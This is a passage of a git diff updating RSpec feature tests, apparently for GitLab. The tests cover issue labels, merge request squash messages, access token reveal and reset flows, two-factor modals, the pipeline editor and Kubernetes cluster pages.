check 'Select all'
@@ -279,11 +282,11 @@ RSpec.describe 'Issues > Labels bulk assignment' do
unmark_labels_in_dropdown ['feature']
update_issues
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).not_to have_content 'feature'
- expect(find("#issue_#{issue1.id}")).to have_content 'First Release'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).to have_content 'First Release'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).not_to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'First Release'
+ expect(find(issue_2_selector)).not_to have_content 'feature'
+ expect(find(issue_2_selector)).to have_content 'First Release'
end
end
@@ -300,19 +303,19 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it 'keeps labels' do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'First Release'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).to have_content 'First Release'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'First Release'
+ expect(find(issue_2_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).to have_content 'First Release'
check 'Select all'
open_milestone_dropdown(['No milestone'])
update_issues
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).not_to have_content 'First Release'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'First Release'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).not_to have_content 'First Release'
+ expect(find(issue_2_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).not_to have_content 'First Release'
end
end
end
@@ -324,7 +327,7 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'bug'
check_issue issue1
open_labels_dropdown ['feature']
@@ -333,8 +336,8 @@ RSpec.describe 'Issues > Labels bulk assignment' do
update_issues
sleep 1 # needed
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'feature'
end
end
@@ -350,7 +353,7 @@ RSpec.describe 'Issues > Labels bulk assignment' do
update_issues
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'feature'
end
end
@@ -381,12 +384,12 @@ RSpec.describe 'Issues > Labels bulk assignment' do
update_issues
- first_issue = find("#issue_#{issue1.id}")
+ first_issue = find(issue_1_selector)
expect(first_issue).not_to have_content 'bug'
expect(first_issue).to have_content 'feature'
expect(first_issue).to have_content 'wontfix'
- second_issue = find("#issue_#{issue2.id}")
+ second_issue = find(issue_2_selector)
expect(second_issue).not_to have_content 'bug'
expect(second_issue).not_to have_content 'feature'
expect(second_issue).to have_content 'wontfix'
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index 76cec2502e3..a036a9a5bbc 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -15,7 +15,6 @@ RSpec.describe "Issues > User edits issue", :js do
context 'with authorized user' do
before do
- stub_feature_flags(labels_widget: false)
project.add_developer(user)
project_with_milestones.add_developer(user)
sign_in(user)
@@ -146,12 +145,12 @@ RSpec.describe "Issues > User edits issue", :js do
fill_in 'Comment', with: '/label ~syzygy'
click_button 'Comment'
- expect(page).to have_text('added syzygy label just now')
+ expect(page).to have_text('added syzygy label just now', wait: 300)
page.within '.block.labels' do
# Remove `verisimilitude` label
within '.gl-label' do
- click_button
+ click_button 'Remove label'
end
expect(page).to have_text('syzygy')
@@ -418,7 +417,7 @@ RSpec.describe "Issues > User edits issue", :js do
it 'adds due date to issue' do
date = Date.today.at_beginning_of_month + 2.days
- page.within '[data-testid="due-date"]' do
+ page.within '[data-testid="sidebar-due-date"]' do
click_button 'Edit'
page.within '.pika-single' do
click_button date.day
@@ -433,7 +432,7 @@ RSpec.describe "Issues > User edits issue", :js do
it 'removes due date from issue' do
date = Date.today.at_beginning_of_month + 2.days
- page.within '[data-testid="due-date"]' do
+ page.within '[data-testid="sidebar-due-date"]' do
click_button 'Edit'
page.within '.pika-single' do
diff --git a/spec/features/issues/user_invites_from_a_comment_spec.rb b/spec/features/issues/user_invites_from_a_comment_spec.rb
deleted file mode 100644
index 82061f6ed79..00000000000
--- a/spec/features/issues/user_invites_from_a_comment_spec.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe "User invites from a comment", :js do
- let_it_be(:project) { create(:project_empty_repo, :public) }
- let_it_be(:issue) { create(:issue, project: project) }
- let_it_be(:user) { project.owner }
-
- before do
- sign_in(user)
- end
-
- it "launches the invite modal from invite link on a comment" do
- stub_experiments(invite_members_in_comment: :invite_member_link)
-
- visit project_issue_path(project, issue)
-
- page.within(".new-note") do
- click_button 'Invite Member'
- end
-
- expect(page).to have_content("You're inviting members to the")
- end
-end
diff --git a/spec/features/labels_hierarchy_spec.rb b/spec/features/labels_hierarchy_spec.rb
index 25c315f2d16..6c8d41fd96f 100644
--- a/spec/features/labels_hierarchy_spec.rb
+++ b/spec/features/labels_hierarchy_spec.rb
@@ -17,7 +17,6 @@ RSpec.describe 'Labels Hierarchy', :js do
let!(:project_label_1) { create(:label, project: project_1, title: 'Label_4') }
before do
- stub_feature_flags(labels_widget: false)
grandparent.add_owner(user)
sign_in(user)
@@ -28,13 +27,12 @@ RSpec.describe 'Labels Hierarchy', :js do
[grandparent_group_label, parent_group_label, project_label_1].each do |label|
page.within('.block.labels') do
click_on 'Edit'
- end
- wait_for_requests
+ wait_for_requests
- find('a.label-item', text: label.title).click
- wait_for_requests
- click_on 'Close'
+ click_on label.title
+ click_on 'Close'
+ end
wait_for_requests
@@ -66,7 +64,7 @@ RSpec.describe 'Labels Hierarchy', :js do
end
else
expect_issues_list_count(1)
- expect(page).to have_selector('span.issue-title-text', text: labeled_issue.title)
+ expect(page).to have_selector('.issue-title', text: labeled_issue.title)
end
end
end
@@ -76,7 +74,7 @@ RSpec.describe 'Labels Hierarchy', :js do
wait_for_requests
- expect(page).not_to have_selector('.btn-link', text: child_group_label.title)
+ expect(page).not_to have_link child_group_label.title
end
end
@@ -109,9 +107,9 @@ RSpec.describe 'Labels Hierarchy', :js do
end
else
expect_issues_list_count(3)
- expect(page).to have_selector('span.issue-title-text', text: labeled_issue.title)
- expect(page).to have_selector('span.issue-title-text', text: labeled_issue_2.title)
- expect(page).to have_selector('span.issue-title-text', text: labeled_issue_3.title)
+ expect(page).to have_selector('.issue-title', text: labeled_issue.title)
+ expect(page).to have_selector('.issue-title', text: labeled_issue_2.title)
+ expect(page).to have_selector('.issue-title', text: labeled_issue_3.title)
end
end
end
@@ -131,7 +129,7 @@ RSpec.describe 'Labels Hierarchy', :js do
end
else
expect_issues_list_count(1)
- expect(page).to have_selector('span.issue-title-text', text: labeled_issue_3.title)
+ expect(page).to have_selector('.issue-title', text: labeled_issue_3.title)
end
end
@@ -233,7 +231,7 @@ RSpec.describe 'Labels Hierarchy', :js do
wait_for_requests
- expect(page).not_to have_selector('.btn-link', text: child_group_label.title)
+ expect(page).not_to have_link child_group_label.title
end
end
diff --git a/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb b/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
index 06795344c5c..67a232607cd 100644
--- a/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
+++ b/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
@@ -7,19 +7,26 @@ RSpec.describe 'Merge request < User customizes merge commit message', :js do
let(:user) { project.creator }
let(:issue_1) { create(:issue, project: project)}
let(:issue_2) { create(:issue, project: project)}
+ let(:source_branch) { 'csv' }
+ let(:target_branch) { 'master' }
+ let(:squash) { false }
let(:merge_request) do
create(
:merge_request,
- :simple,
source_project: project,
- description: "Description\n\nclosing #{issue_1.to_reference}, #{issue_2.to_reference}"
+ target_project: project,
+ source_branch: source_branch,
+ target_branch: target_branch,
+ description: "Description\n\nclosing #{issue_1.to_reference}, #{issue_2.to_reference}",
+ squash: squash
)
end
- let(:textbox) { page.find(:css, '#merge-message-edit', visible: false) }
- let(:default_message) do
+ let(:merge_textbox) { page.find(:css, '#merge-message-edit', visible: false) }
+ let(:squash_textbox) { page.find(:css, '#squash-message-edit', visible: false) }
+ let(:default_merge_commit_message) do
[
- "Merge branch 'feature' into 'master'",
+ "Merge branch '#{source_branch}' into '#{target_branch}'",
merge_request.title,
"Closes #{issue_1.to_reference} and #{issue_2.to_reference}",
"See merge request #{merge_request.to_reference(full: true)}"
@@ -35,8 +42,8 @@ RSpec.describe 'Merge request < User customizes merge commit message', :js do
it 'has commit message without description' do
expect(page).not_to have_selector('#merge-message-edit')
first('.js-mr-widget-commits-count').click
- expect(textbox).to be_visible
- expect(textbox.value).to eq(default_message)
+ expect(merge_textbox).to be_visible
+ expect(merge_textbox.value).to eq(default_merge_commit_message)
end
context 'when target project has merge commit template set' do
@@ -45,8 +52,34 @@ RSpec.describe 'Merge request < User customizes merge commit message', :js do
it 'uses merge commit template' do
expect(page).not_to have_selector('#merge-message-edit')
first('.js-mr-widget-commits-count').click
- expect(textbox).to be_visible
- expect(textbox.value).to eq(merge_request.title)
+ expect(merge_textbox).to be_visible
+ expect(merge_textbox.value).to eq(merge_request.title)
+ end
+ end
+
+ context 'when squash is performed' do
+ let(:squash) { true }
+
+ it 'has default message with merge request title' do
+ expect(page).not_to have_selector('#squash-message-edit')
+ first('.js-mr-widget-commits-count').click
+ expect(squash_textbox).to be_visible
+ expect(merge_textbox).to be_visible
+ expect(squash_textbox.value).to eq(merge_request.title)
+ expect(merge_textbox.value).to eq(default_merge_commit_message)
+ end
+
+ context 'when target project has squash commit template set' do
+ let(:project) { create(:project, :public, :repository, squash_commit_template: '%{description}') }
+
+ it 'uses squash commit template' do
+ expect(page).not_to have_selector('#squash-message-edit')
+ first('.js-mr-widget-commits-count').click
+ expect(squash_textbox).to be_visible
+ expect(merge_textbox).to be_visible
+ expect(squash_textbox.value).to eq(merge_request.description)
+ expect(merge_textbox.value).to eq(default_merge_commit_message)
+ end
end
end
end
diff --git a/spec/features/merge_request/user_expands_diff_spec.rb b/spec/features/merge_request/user_expands_diff_spec.rb
index 09c5897f102..52554f11d28 100644
--- a/spec/features/merge_request/user_expands_diff_spec.rb
+++ b/spec/features/merge_request/user_expands_diff_spec.rb
@@ -7,7 +7,6 @@ RSpec.describe 'User expands diff', :js do
let(:merge_request) { create(:merge_request, source_branch: 'expand-collapse-files', source_project: project, target_project: project) }
before do
- stub_feature_flags(increased_diff_limits: false)
allow(Gitlab::CurrentSettings).to receive(:diff_max_patch_bytes).and_return(100.kilobytes)
visit(diffs_project_merge_request_path(project, merge_request))
diff --git a/spec/features/merge_request/user_invites_from_a_comment_spec.rb b/spec/features/merge_request/user_invites_from_a_comment_spec.rb
deleted file mode 100644
index 79865094fd0..00000000000
--- a/spec/features/merge_request/user_invites_from_a_comment_spec.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe "User invites from a comment", :js do
- let_it_be(:project) { create(:project, :public, :repository) }
- let_it_be(:merge_request) { create(:merge_request, source_project: project) }
- let_it_be(:user) { project.owner }
-
- before do
- sign_in(user)
- end
-
- it "launches the invite modal from invite link on a comment" do
- stub_experiments(invite_members_in_comment: :invite_member_link)
-
- visit project_merge_request_path(project, merge_request)
-
- page.within(".new-note") do
- click_button 'Invite Member'
- end
-
- expect(page).to have_content("You're inviting members to the")
- end
-end
diff --git a/spec/features/merge_request/user_posts_diff_notes_spec.rb b/spec/features/merge_request/user_posts_diff_notes_spec.rb
index 79e46e69157..9e314e18563 100644
--- a/spec/features/merge_request/user_posts_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_diff_notes_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Merge request > User posts diff notes', :js do
include MergeRequestDiffHelpers
+ include Spec::Support::Helpers::ModalHelpers
let(:merge_request) { create(:merge_request) }
let(:project) { merge_request.source_project }
@@ -238,10 +239,8 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
def should_allow_dismissing_a_comment(line_holder, diff_side = nil)
write_comment_on_line(line_holder, diff_side)
- find('.js-close-discussion-note-form').click
-
- page.within('.modal') do
- click_button 'OK'
+ accept_gl_confirm(s_('Notes|Are you sure you want to cancel creating this comment?')) do
+ find('.js-close-discussion-note-form').click
end
assert_comment_dismissal(line_holder)
diff --git a/spec/features/merge_request/user_resolves_wip_mr_spec.rb b/spec/features/merge_request/user_resolves_wip_mr_spec.rb
index 93b14279a06..fd405855cf8 100644
--- a/spec/features/merge_request/user_resolves_wip_mr_spec.rb
+++ b/spec/features/merge_request/user_resolves_wip_mr_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'Merge request > User resolves Work in Progress', :js do
it 'retains merge request data after clicking Resolve WIP status' do
expect(page.find('.ci-widget-content')).to have_content("Pipeline ##{pipeline.id}")
- expect(page).to have_content "This merge request is still a draft."
+ expect(page).to have_content "Merge blocked: merge request must be marked as ready. It's still marked as draft."
page.within('.mr-state-widget') do
click_button('Mark as ready')
@@ -45,7 +45,7 @@ RSpec.describe 'Merge request > User resolves Work in Progress', :js do
# merge request widget refreshes, which masks missing elements
# that should already be present.
expect(page.find('.ci-widget-content', wait: 0)).to have_content("Pipeline ##{pipeline.id}")
- expect(page).not_to have_content('This merge request is still a draft.')
+ expect(page).not_to have_content("Merge blocked: merge request must be marked as ready. It's still marked as draft.")
end
end
end
diff --git a/spec/features/merge_request/user_sees_wip_help_message_spec.rb b/spec/features/merge_request/user_sees_wip_help_message_spec.rb
index 0a6a3d82ee0..d33e54f2e3d 100644
--- a/spec/features/merge_request/user_sees_wip_help_message_spec.rb
+++ b/spec/features/merge_request/user_sees_wip_help_message_spec.rb
@@ -46,8 +46,8 @@ RSpec.describe 'Merge request > User sees draft help message' do
'It looks like you have some draft commits in this branch'
)
expect(page).to have_text(
- "Start the title with Draft: to prevent a merge request that is a \
-work in progress from being merged before it's ready."
+ "Start the title with Draft: to prevent a merge request draft \
+from merging before it's ready."
)
end
end
diff --git a/spec/features/merge_request/user_squashes_merge_request_spec.rb b/spec/features/merge_request/user_squashes_merge_request_spec.rb
index 15f59c0d7bc..2a48657ac4f 100644
--- a/spec/features/merge_request/user_squashes_merge_request_spec.rb
+++ b/spec/features/merge_request/user_squashes_merge_request_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'User squashes a merge request', :js do
committer_name: user.name)
merge_commit = an_object_having_attributes(sha: a_string_matching(/\h{40}/),
- message: a_string_starting_with("Merge branch 'csv' into 'master'"),
+ message: a_string_starting_with("Merge branch '#{source_branch}' into 'master'"),
author_name: user.name,
committer_name: user.name)
@@ -57,34 +57,34 @@ RSpec.describe 'User squashes a merge request', :js do
end
context 'when the MR has only one commit' do
- let(:source_branch) { 'master' }
- let(:target_branch) { 'branch-merged' }
- let(:protected_source_branch) { true }
+ let(:source_branch) { 'feature' }
+ let(:target_branch) { 'master' }
let(:source_sha) { project.commit(source_branch).sha }
let(:target_sha) { project.commit(target_branch).sha }
before do
- merge_request = create(:merge_request, source_project: project, target_project: project, source_branch: source_branch, target_branch: target_branch, squash: true)
-
- visit project_merge_request_path(project, merge_request)
+ visit project_new_merge_request_path(project, merge_request: { target_branch: target_branch, source_branch: source_branch })
+ check 'merge_request[squash]'
+ click_on 'Create merge request'
+ wait_for_requests
end
- it 'accepts the merge request without issuing a squash request', :sidekiq_inline do
- expect_next_instance_of(Gitlab::GitalyClient::OperationService) do |instance|
- expect(instance).not_to receive(:user_squash)
+ context 'when squash message differs from existing commit message' do
+ before do
+ accept_mr
end
- expect(project.repository.ancestor?(source_branch, target_branch)).to be_falsey
- expect(page).not_to have_field('squash')
-
- accept_mr
-
- expect(page).to have_content('Merged')
+ include_examples 'squash'
+ end
- latest_target_commits = project.repository.commits_between(source_sha, target_sha).map(&:raw)
+ context 'when squash message is the same as existing commit message' do
+ before do
+ click_button("Modify commit messages")
+ fill_in('Squash commit message', with: project.commit(source_branch).safe_message)
+ accept_mr
+ end
- expect(latest_target_commits.count).to eq(1)
- expect(project.repository.ancestor?(source_branch, target_branch)).to be_truthy
+ include_examples 'no squash'
end
end
diff --git a/spec/features/merge_request/user_views_open_merge_request_spec.rb b/spec/features/merge_request/user_views_open_merge_request_spec.rb
index 073706cf9d8..b5a973a53c0 100644
--- a/spec/features/merge_request/user_views_open_merge_request_spec.rb
+++ b/spec/features/merge_request/user_views_open_merge_request_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'User views an open merge request' do
# Work around a weird Capybara behavior where calling `parent` on a node
# returns the whole document, not the node's actual parent element
- expect(find(:xpath, "#{node.path}/..").text).to eq(merge_request.description[2..-1])
+ expect(find(:xpath, "#{node.path}/..").text).to eq(merge_request.description[2..])
expect(page).to have_content(merge_request.title)
end
diff --git a/spec/features/one_trust_spec.rb b/spec/features/one_trust_spec.rb
new file mode 100644
index 00000000000..0ed08e8b99b
--- /dev/null
+++ b/spec/features/one_trust_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'OneTrust' do
+ context 'almost there page' do
+ context 'when OneTrust is enabled' do
+ let_it_be(:onetrust_url) { 'https://*.onetrust.com' }
+ let_it_be(:one_trust_id) { SecureRandom.uuid }
+
+ before do
+ stub_config(extra: { one_trust_id: one_trust_id })
+ stub_feature_flags(ecomm_instrumentation: true)
+ visit users_almost_there_path
+ end
+
+ it 'has the OneTrust CSP settings', :aggregate_failures do
+ expect(response_headers['Content-Security-Policy']).to include("#{onetrust_url}")
+ expect(page.html).to include("https://cdn.cookielaw.org/consent/#{one_trust_id}/OtAutoBlock.js")
+ end
+ end
+ end
+end
diff --git a/spec/features/profile_spec.rb b/spec/features/profile_spec.rb
index 7d935298f38..24ba55994ae 100644
--- a/spec/features/profile_spec.rb
+++ b/spec/features/profile_spec.rb
@@ -63,11 +63,24 @@ RSpec.describe 'Profile account page', :js do
end
describe 'when I reset feed token' do
- before do
+ it 'resets feed token with `hide_access_tokens` feature flag enabled' do
visit profile_personal_access_tokens_path
+
+ within('[data-testid="feed-token-container"]') do
+ previous_token = find_field('Feed token').value
+
+ accept_confirm { click_link('reset this token') }
+
+ click_button('Click to reveal')
+
+ expect(find_field('Feed token').value).not_to eq(previous_token)
+ end
end
- it 'resets feed token' do
+ it 'resets feed token with `hide_access_tokens` feature flag disabled' do
+ stub_feature_flags(hide_access_tokens: false)
+ visit profile_personal_access_tokens_path
+
within('.feed-token-reset') do
previous_token = find("#feed_token").value
@@ -82,10 +95,26 @@ RSpec.describe 'Profile account page', :js do
before do
allow(Gitlab.config.incoming_email).to receive(:enabled).and_return(true)
stub_feature_flags(bootstrap_confirmation_modals: false)
+ end
+
+ it 'resets incoming email token with `hide_access_tokens` feature flag enabled' do
visit profile_personal_access_tokens_path
+
+ within('[data-testid="incoming-email-token-container"]') do
+ previous_token = find_field('Incoming email token').value
+
+ accept_confirm { click_link('reset this token') }
+
+ click_button('Click to reveal')
+
+ expect(find_field('Incoming email token').value).not_to eq(previous_token)
+ end
end
- it 'resets incoming email token' do
+ it 'resets incoming email token with `hide_access_tokens` feature flag disabled' do
+ stub_feature_flags(hide_access_tokens: false)
+ visit profile_personal_access_tokens_path
+
within('.incoming-email-token-reset') do
previous_token = find('#incoming_email_token').value
diff --git a/spec/features/profiles/personal_access_tokens_spec.rb b/spec/features/profiles/personal_access_tokens_spec.rb
index 74505633cae..135a940807e 100644
--- a/spec/features/profiles/personal_access_tokens_spec.rb
+++ b/spec/features/profiles/personal_access_tokens_spec.rb
@@ -18,10 +18,6 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
find("#created-personal-access-token").value
end
- def feed_token
- find("#feed_token").value
- end
-
def feed_token_description
"Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
end
@@ -136,12 +132,24 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
describe "feed token" do
context "when enabled" do
- it "displays feed token" do
+ it "displays feed token with `hide_access_tokens` feature flag enabled" do
allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(false)
visit profile_personal_access_tokens_path
- expect(feed_token).to eq(user.feed_token)
+ within('[data-testid="feed-token-container"]') do
+ click_button('Click to reveal')
+
+ expect(page).to have_field('Feed token', with: user.feed_token)
+ expect(page).to have_content(feed_token_description)
+ end
+ end
+
+ it "displays feed token with `hide_access_tokens` feature flag disabled" do
+ stub_feature_flags(hide_access_tokens: false)
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(false)
+ visit profile_personal_access_tokens_path
+ expect(page).to have_field('Feed token', with: user.feed_token)
expect(page).to have_content(feed_token_description)
end
end
@@ -151,8 +159,8 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
visit profile_personal_access_tokens_path
- expect(page).to have_no_content(feed_token_description)
- expect(page).to have_no_css("#feed_token")
+ expect(page).not_to have_content(feed_token_description)
+ expect(page).not_to have_field('Feed token')
end
end
end
diff --git a/spec/features/profiles/two_factor_auths_spec.rb b/spec/features/profiles/two_factor_auths_spec.rb
index a9256a73d7b..9a58950b8f3 100644
--- a/spec/features/profiles/two_factor_auths_spec.rb
+++ b/spec/features/profiles/two_factor_auths_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Two factor auths' do
+ include Spec::Support::Helpers::ModalHelpers
+
context 'when signed in' do
before do
sign_in(user)
@@ -70,7 +72,7 @@ RSpec.describe 'Two factor auths' do
click_button 'Disable two-factor authentication'
- page.within('[role="dialog"]') do
+ within_modal do
click_button 'Disable'
end
@@ -80,7 +82,7 @@ RSpec.describe 'Two factor auths' do
click_button 'Disable two-factor authentication'
- page.within('[role="dialog"]') do
+ within_modal do
click_button 'Disable'
end
@@ -112,7 +114,7 @@ RSpec.describe 'Two factor auths' do
click_button 'Disable two-factor authentication'
- page.within('[role="dialog"]') do
+ within_modal do
click_button 'Disable'
end
diff --git a/spec/features/profiles/user_visits_profile_spec.rb b/spec/features/profiles/user_visits_profile_spec.rb
index 273d52996d3..d90ac439eee 100644
--- a/spec/features/profiles/user_visits_profile_spec.rb
+++ b/spec/features/profiles/user_visits_profile_spec.rb
@@ -29,6 +29,24 @@ RSpec.describe 'User visits their profile' do
expect(find('.file-content')).to have_content('testme')
end
+ it 'hides empty user readme' do
+ project = create(:project, :repository, :public, path: user.username, namespace: user.namespace)
+
+ Files::UpdateService.new(
+ project,
+ user,
+ start_branch: 'master',
+ branch_name: 'master',
+ commit_message: 'Update feature',
+ file_path: 'README.md',
+ file_content: ''
+ ).execute
+
+ visit(user_path(user))
+
+ expect(page).not_to have_selector('.file-content')
+ end
+
context 'when user has groups' do
let(:group) do
create :group do |group|
diff --git a/spec/features/projects/ci/editor_spec.rb b/spec/features/projects/ci/editor_spec.rb
index 7fe1c63f490..16cfa9f5f84 100644
--- a/spec/features/projects/ci/editor_spec.rb
+++ b/spec/features/projects/ci/editor_spec.rb
@@ -51,5 +51,65 @@ RSpec.describe 'Pipeline Editor', :js do
expect(page).not_to have_content(default_branch)
end
end
+
+ it 'displays new branch as selected after commiting on a new branch' do
+ find('#target-branch-field').set('new_branch', clear: :backspace)
+
+ click_button 'Commit changes'
+
+ page.within('[data-testid="branch-selector"]') do
+ expect(page).to have_content('new_branch')
+ expect(page).not_to have_content(default_branch)
+ end
+ end
+ end
+
+ context 'Editor content' do
+ it 'user can reset their CI configuration' do
+ click_button 'Collapse'
+
+ page.within('#source-editor-') do
+ find('textarea').send_keys '123'
+ end
+
+ # It takes some time after sending keys for the reset
+ # btn to register the changes inside the editor
+ sleep 1
+ click_button 'Reset'
+
+ expect(page).to have_css('#reset-content')
+
+ page.within('#reset-content') do
+ click_button 'Reset file'
+ end
+
+ page.within('#source-editor-') do
+ expect(page).to have_content('Default Content')
+ expect(page).not_to have_content('Default Content123')
+ end
+ end
+
+ it 'user can cancel reseting their CI configuration' do
+ click_button 'Collapse'
+
+ page.within('#source-editor-') do
+ find('textarea').send_keys '123'
+ end
+
+ # It takes some time after sending keys for the reset
+ # btn to register the changes inside the editor
+ sleep 1
+ click_button 'Reset'
+
+ expect(page).to have_css('#reset-content')
+
+ page.within('#reset-content') do
+ click_button 'Cancel'
+ end
+
+ page.within('#source-editor-') do
+ expect(page).to have_content('Default Content123')
+ end
+ end
end
end
diff --git a/spec/features/projects/cluster_agents_spec.rb b/spec/features/projects/cluster_agents_spec.rb
index 3ef710169f0..4018ef2abc9 100644
--- a/spec/features/projects/cluster_agents_spec.rb
+++ b/spec/features/projects/cluster_agents_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'ClusterAgents', :js do
end
it 'displays empty state', :aggregate_failures do
- expect(page).to have_content('Install new Agent')
+ expect(page).to have_content('Install a new agent')
expect(page).to have_selector('.empty-state')
end
end
@@ -44,8 +44,17 @@ RSpec.describe 'ClusterAgents', :js do
visit project_cluster_agent_path(project, agent.name)
end
- it 'displays agent and token information', :aggregate_failures do
+ it 'displays agent information', :aggregate_failures do
expect(page).to have_content(agent.name)
+ end
+
+ it 'displays agent activity tab', :aggregate_failures do
+ expect(page).to have_content('Activity')
+ end
+
+ it 'displays agent tokens tab', :aggregate_failures do
+ expect(page).to have_content('Access tokens')
+ click_link 'Access tokens'
expect(page).to have_content(token.description)
end
end
diff --git a/spec/features/projects/clusters/eks_spec.rb b/spec/features/projects/clusters/eks_spec.rb
index 09c10c0b3a9..a925e3a72f8 100644
--- a/spec/features/projects/clusters/eks_spec.rb
+++ b/spec/features/projects/clusters/eks_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe 'AWS EKS Cluster', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
click_link 'Connect with a certificate'
end
diff --git a/spec/features/projects/clusters/gcp_spec.rb b/spec/features/projects/clusters/gcp_spec.rb
index e1659cd2fbf..6e88cbf52b5 100644
--- a/spec/features/projects/clusters/gcp_spec.rb
+++ b/spec/features/projects/clusters/gcp_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'Gcp Cluster', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
click_link 'Connect with a certificate'
click_link 'Create new cluster'
click_link 'Google GKE'
@@ -49,7 +49,8 @@ RSpec.describe 'Gcp Cluster', :js do
before do
allow_any_instance_of(GoogleApi::CloudPlatform::Client)
.to receive(:projects_zones_clusters_create) do
- OpenStruct.new(
+ double(
+ 'cluster',
self_link: 'projects/gcp-project-12345/zones/us-central1-a/operations/ope-123',
status: 'RUNNING'
)
@@ -144,9 +145,9 @@ RSpec.describe 'Gcp Cluster', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
click_button(class: 'dropdown-toggle-split')
- click_link 'Connect with certificate'
+ click_link 'Connect with a certificate'
end
it 'user sees the "Environment scope" field' do
@@ -160,7 +161,7 @@ RSpec.describe 'Gcp Cluster', :js do
click_button 'Remove integration and resources'
fill_in 'confirm_cluster_name_input', with: cluster.name
click_button 'Remove integration'
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'user sees creation form with the successful message' do
@@ -174,7 +175,7 @@ RSpec.describe 'Gcp Cluster', :js do
context 'when user has not dismissed GCP signup offer' do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'user sees offer on cluster index page' do
@@ -191,7 +192,7 @@ RSpec.describe 'Gcp Cluster', :js do
context 'when user has dismissed GCP signup offer' do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'user does not see offer after dismissing' do
diff --git a/spec/features/projects/clusters/user_spec.rb b/spec/features/projects/clusters/user_spec.rb
index d3f709bfb53..d9887ea4fe0 100644
--- a/spec/features/projects/clusters/user_spec.rb
+++ b/spec/features/projects/clusters/user_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'User Cluster', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
click_link 'Connect with a certificate'
click_link 'Connect existing cluster'
end
@@ -113,7 +113,7 @@ RSpec.describe 'User Cluster', :js do
click_button 'Remove integration and resources'
fill_in 'confirm_cluster_name_input', with: cluster.name
click_button 'Remove integration'
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'user sees creation form with the successful message' do
diff --git a/spec/features/projects/clusters_spec.rb b/spec/features/projects/clusters_spec.rb
index a49fa4c9e31..6e45529c659 100644
--- a/spec/features/projects/clusters_spec.rb
+++ b/spec/features/projects/clusters_spec.rb
@@ -10,13 +10,13 @@ RSpec.describe 'Clusters', :js do
before do
project.add_maintainer(user)
- gitlab_sign_in(user)
+ sign_in(user)
end
context 'when user does not have a cluster and visits cluster index page' do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'sees empty state' do
@@ -34,17 +34,17 @@ RSpec.describe 'Clusters', :js do
before do
create(:cluster, :provided_by_user, name: 'default-cluster', environment_scope: '*', projects: [project])
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
